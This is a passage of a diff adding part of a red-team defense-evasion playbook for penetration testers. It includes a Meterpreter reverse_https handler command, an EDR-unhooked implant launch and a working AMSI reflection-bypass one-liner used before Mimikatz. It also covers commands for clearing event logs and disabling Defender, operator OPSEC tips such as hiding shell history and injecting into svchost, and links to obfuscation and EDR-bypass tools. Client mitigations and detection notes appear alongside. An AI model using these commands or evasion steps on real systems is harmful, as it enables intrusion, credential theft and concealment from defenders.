+
$target.LastAccessTime = $ref.LastAccessTime
|
|
861
|
+
|
|
862
|
+
# Step 7 — On target: Execute via rundll32 proxy if binary is flagged
|
|
863
|
+
# Or execute directly — ScareCrow unhooks EDR hooks on load
|
|
864
|
+
C:\Windows\Temp\wu.exe
|
|
865
|
+
|
|
866
|
+
# Step 8 — On Kali: Receive Meterpreter session
|
|
867
|
+
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST 0.0.0.0; set LPORT 443; run"
|
|
868
|
+
```
|
|
869
|
+
|
|
870
|
+
---
|
|
871
|
+
|
|
872
|
+
## OPSEC Considerations
|
|
873
|
+
|
|
874
|
+
### High-Risk Actions (Expect Detection)
|
|
875
|
+
|
|
876
|
+
| Action | Detection Vector | Risk Level |
|
|
877
|
+
|---|---|---|
|
|
878
|
+
| `wevtutil cl Security` | Event ID 1102 logged before clearing | HIGH |
|
|
879
|
+
| `Set-MpPreference -DisableRealtimeMonitoring $true` | Event ID 5001 in Defender log | HIGH |
|
|
880
|
+
| PowerShell `-Version 2` | Event ID 400 version field anomaly | MEDIUM |
|
|
881
|
+
| `certutil -urlcache` | Network connection + process ancestry | MEDIUM |
|
|
882
|
+
| `CreateRemoteThread` into foreign process | EDR kernel callback | HIGH |
|
|
883
|
+
| `Add-MpPreference -ExclusionPath` | Event ID 5007 | MEDIUM |
|
|
884
|
+
|
|
885
|
+
### Detection Risk by Technique
|
|
886
|
+
|
|
887
|
+
```
|
|
888
|
+
AMSI patch via reflection → Detected by: AMSI itself (ironic), behavioral AV, ETW
|
|
889
|
+
Process hollowing → Detected by: EDR kernel callbacks, memory scanning
|
|
890
|
+
Log clearing → Detected by: SIEM (event 1102), log forwarders, WDAC
|
|
891
|
+
LOLBAS (certutil download) → Detected by: network proxy, Sysmon event 3/22, Defender
|
|
892
|
+
Execution policy bypass → Detected by: Script block logging (event 4104)
|
|
893
|
+
Timestomping → Detected by: MFT forensics ($FILE_NAME vs $SI mismatch)
|
|
894
|
+
```
|
|
895
|
+
|
|
896
|
+
### Mitigation Strategies to Document for Client
|
|
897
|
+
|
|
898
|
+
1. Enable PowerShell Constrained Language Mode (CLM) via WDAC
|
|
899
|
+
2. Enable Script Block Logging (event 4104) and forward to SIEM
|
|
900
|
+
3. Enable Sysmon with SwiftOnSecurity ruleset
|
|
901
|
+
4. Monitor event IDs 1102, 5001, 5007 with immediate alerting
|
|
902
|
+
5. Deploy network proxy with TLS inspection to catch LOLBAS downloads
|
|
903
|
+
6. Enable Protected Event Logging (encrypts PS logs, prevents clearing)
|
|
904
|
+
7. Deploy AV/EDR with memory scanning and behavioral detection
|
|
905
|
+
8. Alert on PowerShell calling `AmsiUtils` or `amsiInitFailed` field names
|
|
906
|
+
|
|
907
|
+
### OPSEC Best Practices for Operators
|
|
908
|
+
|
|
909
|
+
```
|
|
910
|
+
- Always set HISTFILE=/dev/null before any action on Linux
|
|
911
|
+
- Use HTTPS C2 — avoid HTTP which is trivially logged by proxy
|
|
912
|
+
- Rotate implant sleep intervals — periodic beacons are detectable
|
|
913
|
+
- Use legitimate process names for injection targets (svchost, explorer)
|
|
914
|
+
- Do not inject into AV/EDR processes — triggers immediate alert
|
|
915
|
+
- Prefer in-memory execution over dropping files to disk
|
|
916
|
+
- Use encrypted channels even on internal segments (assume SOC lateral visibility)
|
|
917
|
+
- Document every action in the engagement log before executing
|
|
918
|
+
- If an alert fires, stop and notify the engagement POC per ROE
|
|
919
|
+
```
|
|
920
|
+
|
|
921
|
+
---
|
|
922
|
+
|
|
923
|
+
## Output and Documentation Instructions
|
|
924
|
+
|
|
925
|
+
After each technique, document the following in your engagement log:
|
|
926
|
+
|
|
927
|
+
```markdown
|
|
928
|
+
## Defense Evasion Action Log
|
|
929
|
+
|
|
930
|
+
**Date/Time (UTC):** 2024-01-15 14:32:00
|
|
931
|
+
**Operator:** [callsign]
|
|
932
|
+
**Target Host:** WIN-TARGET01 (192.168.1.50)
|
|
933
|
+
**Technique:** AMSI Bypass — amsiInitFailed reflection patch
|
|
934
|
+
**Command Executed:**
|
|
935
|
+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
|
936
|
+
**Outcome:** Successful — subsequent Invoke-Mimikatz executed without AV alert
|
|
937
|
+
**Artifacts Created:** None (in-memory only)
|
|
938
|
+
**Artifacts Modified:** None
|
|
939
|
+
**Logs Cleared:** Microsoft-Windows-PowerShell/Operational (wevtutil cl)
|
|
940
|
+
**Detection Risk:** MEDIUM — ETW still active, kernel callbacks not bypassed
|
|
941
|
+
**Screenshot:** [attach]
|
|
942
|
+
**Notes:** Defender real-time protection confirmed active before bypass.
|
|
943
|
+
```
|
|
944
|
+
|
|
945
|
+
### Mandatory Documentation Fields
|
|
946
|
+
|
|
947
|
+
1. Timestamp (UTC) for every action
|
|
948
|
+
2. Source IP and target IP/hostname
|
|
949
|
+
3. Exact command or tool invoked
|
|
950
|
+
4. Result (success/failure/partial)
|
|
951
|
+
5. Artifacts dropped to disk (path, hash SHA-256)
|
|
952
|
+
6. Logs cleared (which log, method)
|
|
953
|
+
7. Persistence mechanism if installed
|
|
954
|
+
|
|
955
|
+
---
|
|
956
|
+
|
|
957
|
+
## Resources
|
|
958
|
+
|
|
959
|
+
### Official References
|
|
960
|
+
|
|
961
|
+
- MITRE ATT&CK Defense Evasion: https://attack.mitre.org/tactics/TA0005/
|
|
962
|
+
- MITRE ATT&CK Indicator Removal: https://attack.mitre.org/techniques/T1070/
|
|
963
|
+
- MITRE ATT&CK AMSI Bypass (T1562.001): https://attack.mitre.org/techniques/T1562/001/
|
|
964
|
+
|
|
965
|
+
### Tools
|
|
966
|
+
|
|
967
|
+
- LOLBAS Project: https://github.com/LOLBAS-Project/LOLBAS
|
|
968
|
+
- GTFOBins: https://github.com/GTFOBins/GTFOBins.github.io
|
|
969
|
+
- Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation
|
|
970
|
+
- Chameleon PS Obfuscator: https://github.com/klezVirus/chameleon
|
|
971
|
+
- AMSI Bypass Collection: https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
|
|
972
|
+
- Donut Shellcode Generator: https://github.com/TheWover/donut
|
|
973
|
+
- ScareCrow EDR Bypass: https://github.com/optiv/ScareCrow
|
|
974
|
+
- PowerSploit: https://github.com/PowerShellMafia/PowerSploit
|
|
975
|
+
- Nishang: https://github.com/samratashok/nishang
|
|
976
|
+
- PEzor Packer: https://github.com/phra/PEzor
|
|
977
|
+
|
|
978
|
+
### Research and Reading
|
|
979
|
+
|
|
980
|
+
- MDSec AMSI Research: https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
|
|
981
|
+
- Red Team Notes (AMSI): https://www.ired.team/offensive-security/defense-evasion/amsi-bypass-alternatives
|
|
982
|
+
- Offensive Security Living Off the Land: https://www.offensive-security.com/offsec/living-off-the-land/
|
|
983
|
+
- F-Secure ETW Patching: https://blog.f-secure.com/hunting-for-amsi-bypasses/
|
|
984
|
+
- Process Injection Techniques Survey: https://github.com/D4stiny/spectre
|
|
985
|
+
- Timestomping Forensics (Blanche): https://github.com/jipegit/OSXAuditor
|
|
986
|
+
- SwiftOnSecurity Sysmon Config: https://github.com/SwiftOnSecurity/sysmon-config
|
|
987
|
+
- Eventlogedit-evtx: https://github.com/3gstudent/Eventlogedit-evtx--Evolution
|